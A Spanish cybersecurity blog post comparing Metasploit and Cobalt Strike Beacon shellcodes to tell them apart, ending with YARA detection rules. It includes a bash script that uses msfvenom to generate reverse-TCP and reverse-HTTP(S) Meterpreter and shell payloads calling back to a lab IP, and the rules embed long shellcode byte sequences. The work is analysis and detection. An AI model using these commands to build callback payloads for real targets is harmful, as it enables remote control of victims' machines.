Herramientas para hackear

Analizando Shellcodes de Cobalt Strike Beacon y Metasploit - Parte II

Ciberseguridad Avanzada para todos tus dispositivos

Hola a todos.

Voy a ampliar el artículo anterior. A veces nos encontramos con shellcodes parecidas y necesitamos saber exactamente qué estamos analizando, así que para ello realizaré una serie de pruebas y compararemos los resultados para poder ponerles nombre. La idea de este artículo es poder distinguir entre shellcodes de Metasploit y de Cobalt Strike.

Lo primero es generar shellcodes con Metasploit, diferentes todas ellas. El siguiente script nos ayudará a ello:

#!/bin/bash

DOMAIN="192.168.56.101"
PORT=443

echo "windows/meterpreter/reverse_tcp in $DOMAIN:$PORT" 
msfvenom -p windows/meterpreter/reverse_tcp -a x86 --platform windows LHOST=$DOMAIN LPORT=$PORT -f raw >  meterpreter_reverse_tcp.raw
echo "windows/shell/reverse_tcp in $DOMAIN:$PORT" 
msfvenom -p windows/shell/reverse_tcp -a x86 --platform windows LHOST=$DOMAIN LPORT=$PORT -f raw >  shell_reverse_tcp.raw
echo "windows/meterpreter/reverse_tcp shikata_ga_nai in $DOMAIN:$PORT" 
msfvenom -p windows/meterpreter/reverse_tcp -a x86 --platform windows -b "\x00" -e x86/shikata_ga_nai LHOST=$DOMAIN LPORT=$PORT -f raw -i 3 > meterpreter_reverse_tcp_shikata_ga_nai_i3.raw
echo "windows/shell/reverse_tcp shikata_ga_nai in $DOMAIN:$PORT" 
msfvenom -p windows/shell/reverse_tcp -a x86 --platform windows -b "\x00" -e x86/shikata_ga_nai LHOST=$DOMAIN LPORT=$PORT -f raw -i 3 > shell_reverse_tcp_shikata_ga_nai_i3.raw
echo "windows/meterpreter/reverse_http in $DOMAIN:$PORT" 
msfvenom -p windows/meterpreter/reverse_http -a x86 --platform windows  LHOST=$DOMAIN LPORT=$PORT -f raw > meterpreter_reverse_http.raw
echo "windows/meterpreter/reverse_http shikata_ga_nai in $DOMAIN:$PORT" 
msfvenom -p windows/meterpreter/reverse_http -a x86 --platform windows -b "\x00" -e x86/shikata_ga_nai LHOST=$DOMAIN LPORT=$PORT -f raw -i 3 > meterpreter_reverse_http_shikata_ga_nai_i3.raw
echo "windows/meterpreter/reverse_https in $DOMAIN:$PORT" 
msfvenom -p windows/meterpreter/reverse_https -a x86 --platform windows  LHOST=$DOMAIN LPORT=$PORT -f raw > meterpreter_reverse_https.raw
echo "windows/meterpreter/reverse_https shikata_ga_nai in $DOMAIN:$PORT" 
msfvenom -p windows/meterpreter/reverse_https -a x86 --platform windows -b "\x00" -e x86/shikata_ga_nai LHOST=$DOMAIN LPORT=$PORT -f raw -i 3 > meterpreter_reverse_https_shikata_ga_nai_i3.raw

El resultado es el siguiente:

# ls -l *.raw
-rw-r--r-- 1 root root 654 dic 14 11:18 meterpreter_reverse_http.raw
-rw-r--r-- 1 root root 543 dic 14 11:18 meterpreter_reverse_http_shikata_ga_nai_i3.raw
-rw-r--r-- 1 root root 475 dic 14 11:19 meterpreter_reverse_https.raw
-rw-r--r-- 1 root root 563 dic 14 11:19 meterpreter_reverse_https_shikata_ga_nai_i3.raw
-rw-r--r-- 1 root root 341 dic 14 11:18 meterpreter_reverse_tcp.raw
-rw-r--r-- 1 root root 422 dic 14 11:18 meterpreter_reverse_tcp_shikata_ga_nai_i3.raw
-rw-r--r-- 1 root root 341 dic 14 11:18 shell_reverse_tcp.raw
-rw-r--r-- 1 root root 422 dic 14 11:18 shell_reverse_tcp_shikata_ga_nai_i3.raw

Ya tenemos las de Metasploit. La de Cobalt, utilizaremos la que ya habíamos visto en el artículo anterior.

Lo primero es echarle un vistazo, una imagen vale más que mil palabras o eso dicen, vamos a comprobarlo.

Primero la de Cobalt Strike y después las de Metasploit, pondré primero las que sean más parecidas.

Shellcodes de Cobalt Strike
Meterpreter reverse http
Meterpreter Reverse https Coral
Meterpreter Reverse TCP Cobal Strike
Shell Reverse TCP Cobal Strike

Y ahora las que han sido generadas con el encoder shikata_ga_nai (visualmente nos vale este encoder como cualquier otro):

Meterpreter reverse http Shikata_ga_nai
Meterpreter reverse https shikata_ga_nai
Meterpreter reverse TCP Shikata_ga_nai
Shell Reverse TCP Shikata_ga_nai

Vale, ya tenemos para empezar. Tenemos que la Cobalt Strike se parece a las de Metasploit meterpreter_reverse_http y meterpreter_reverse_https.

Las generadas con encoder, no se ve mucho de forma visual. Así que podríamos decir que la de Cobalt utiliza una técnica parecida a las de Metasploit que van por http/s.

Se ve un user-agent en cada una y se ve referencias a alguna dll de Windows, ahora lo veremos.

Shellcodes Cobal Strike - Meterpreter

Hay algunas diferencias, como podeis ver. Echemos un vistazo a las cadenas.

Si todas estas flechas no os confunden, a mí casi lo hacen, tenemos que podemos ver referencias a Wininet (dll de Windows), un user-agent, una url y una IP.

Similitudes Cobalt Strike

Sigamos con esos parecidos razonables.

Parecidos meterpreter Cobalt Strike

Se parece bastante como es llamada Wininet (LoadLibraryA). Os pongo una captura del anterior artículo:

Wininet

Por lo que si solamente tomas esta parte en cuenta, podrías decir que se trata de cualquiera de las 2. Aunque como veis entran otros registros en acción, ahí se podría decir que no exactamente iguales.

Sigamos viendo más cosas. La parte de la Url puede ser confusa.

Similitudes registros Cobalt Strike

En Cobalt, normalmente, suelen tener este aspecto “/[a-zA-Z]{4}”, mientras que las de Metasploit son bastantes más largas.

Cadena aspecto similar a Metasploit - Cobalt

Con el user-agent, vemos otra diferencia, aparte de que es posible poner lo que quieras en esa parte.

Similitudes user-agent Cobalt Strike

En el de Cobalt, está después de la url. En los de Metasplot, al revés, antes el user-agent y después l url.

Si nos vamos a la zona de la IP, seguimos viendo más similitudes.

Similitudes IP Cobalt Strike Meterpreter

No tanto en el después, sino en el antes. Por lo que podríamos pensar que es posible que haya algo común en la generación de las shellcodes de Metasploit y Cobalt Strike.

Finalmente, os dejo una regla Yara para poder distinguirlas.

import "pe"

rule Shellcode_Metasploit_Reverse_Http_s {
meta:
 description = "Yara Rule for Generic Shellcode Metasploit Reverse Http/s"
 author = "by Rafa"
 reference = "Internal Research"
 last_updated = "2019-12-14"
 category = "informational"
strings:
 $initial = {
  FC E8 82 00 00 00 60 89 E5 31 C0 64 8B 50 30 8B 52 0C 8B 52 14
  8B 72 28 0F B7 4A 26 31 FF AC 3C 61 7C 02 2C 20 C1 CF 0D 01 C7
  E2 F2 52 57 8B 52 10 8B 4A 3C 8B 4C 11 78 E3 48 01 D1 51 8B 59
  20 01 D3 8B 49 18 E3 3A 49 8B 34 8B 01 D6 31 FF AC C1 CF 0D 01
  C7 38 E0 75 F6 03 7D F8 3B 7D 24 75 E4 58 8B 58 24 01 D3 66 8B
  0C 4B 8B 58 1C 01 D3 8B 04 8B 01 D0 89 44 24 24 5B 5B 61 59 5A
  51 FF E0 5F 5F 5A 8B 12 EB 8D 5D 68 6E 65 74 00 68 77 69 6E 69
  54 68 4C 77 26 07 FF D5 31 DB 53 53 53 53 53 E8 3E 00 00 00 4D
  6F 7A 69 6C 6C 61 2F 35 2E 30 20 28 57 69 6E 64 6F 77 73 20 4E
  54 20 36 2E 31 3B 20 54 72 69 64 65 6E 74 2F 37 2E 30 3B 20 72
  76 3A 31 31 2E 30 29 20 6C 69 6B 65 20 47 65 63 6B 6F 00 68 3A
  56 79 A7 FF D5 53 53 6A 03 53 53 68 BB 01 00 00 E8 }
 $beforeurl = { 68 3A 56 79 A7 FF D5 53 53 6A 03 53 53 68 BB 01 00 00 E8 }
 $beforedomain = {
  E8 4B 00 00 00 6A 40 68 00 10 00 00 68 00 00 40 00 53 68 58 A4 53 E5 FF D5 93 53 53 89 E7 57 68 00 20 00 00 53 56 68 12 96 89 E2 FF D5 85 C0 74 CF 8B 07 01 C3 85 C0 75 E5 58 C3 5F E8 }
condition:
 any of them
}

rule Shellcode_Cobalt_Strike {
meta:
 description = "Yara Rule for Generic Shellcode Cobalt Strike Beacon"
 author = "by Rafa"
 reference = "Internal Research"
 last_updated = "2019-12-13"
 category = "informational"
strings:
 $initial = {
  FC E8 89 00 00 00 60 89 E5 31 D2 64 8B 52 30 8B 52 0C 8B 52 14
  8B 72 28 0F B7 4A 26 31 FF 31 C0 AC 3C 61 7C 02 2C 20 C1 CF 0D
  01 C7 E2 F0 52 57 8B 52 10 8B 42 3C 01 D0 8B 40 78 85 C0 74 4A
  01 D0 50 8B 48 18 8B 58 20 01 D3 E3 3C 49 8B 34 8B 01 D6 31 FF
  31 C0 AC C1 CF 0D 01 C7 38 E0 75 F4 03 7D F8 3B 7D 24 75 E2 58
  8B 58 24 01 D3 66 8B 0C 4B 8B 58 1C 01 D3 8B 04 8B 01 D0 89 44
  24 24 5B 5B 61 59 5A 51 FF E0 58 5F 5A 8B 12 EB 86 5D 68 6E 65
  74 00 68 77 69 6E 69 54 68 4C 77 26 07 FF D5 }
 $beforeurl = { 2F 00 00 39 C7 }
 $beforedomain = {
  FF D5 6A 40 68 00 10 00 00 68 00 00 40 00 57 68 58 A4 53 E5 FF
  D5 93 B9 00 00 00 00 01 D9 51 53 89 E7 57 68 00 20 00 00 53 56
  68 12 96 89 E2 FF D5 85 C0 74 C6 8B 07 01 C3 85 C0 75 E5 58 C3 E8 }
condition:
 any of them
}

Vemos su funcionamiento:

$ yara metasploit_and_cobaltstrike.yara .
Shellcode_Metasploit_Reverse_Http_s ./meterpreter_reverse_https.raw
Shellcode_Cobalt_Strike ./shellcode_cobalstrike_beacon.raw
Shellcode_Metasploit_Reverse_Http_s ./meterpreter_reverse_http.raw
Author image

About Rafa.Pedrero

Mi familia, la ciberseguridad y el skate, son mis grandes pasiones.
  • Madrid
comments powered by Disqus
You've successfully subscribed to CIBERSEGURIDAD .blog
Great! Next, complete checkout for full access to CIBERSEGURIDAD .blog
Welcome back! You've successfully signed in.
Unable to sign you in. Please try again.
Success! Your account is fully activated, you now have access to all content.
Error! Stripe checkout failed.
Success! Your billing info is updated.
Error! Billing info update failed.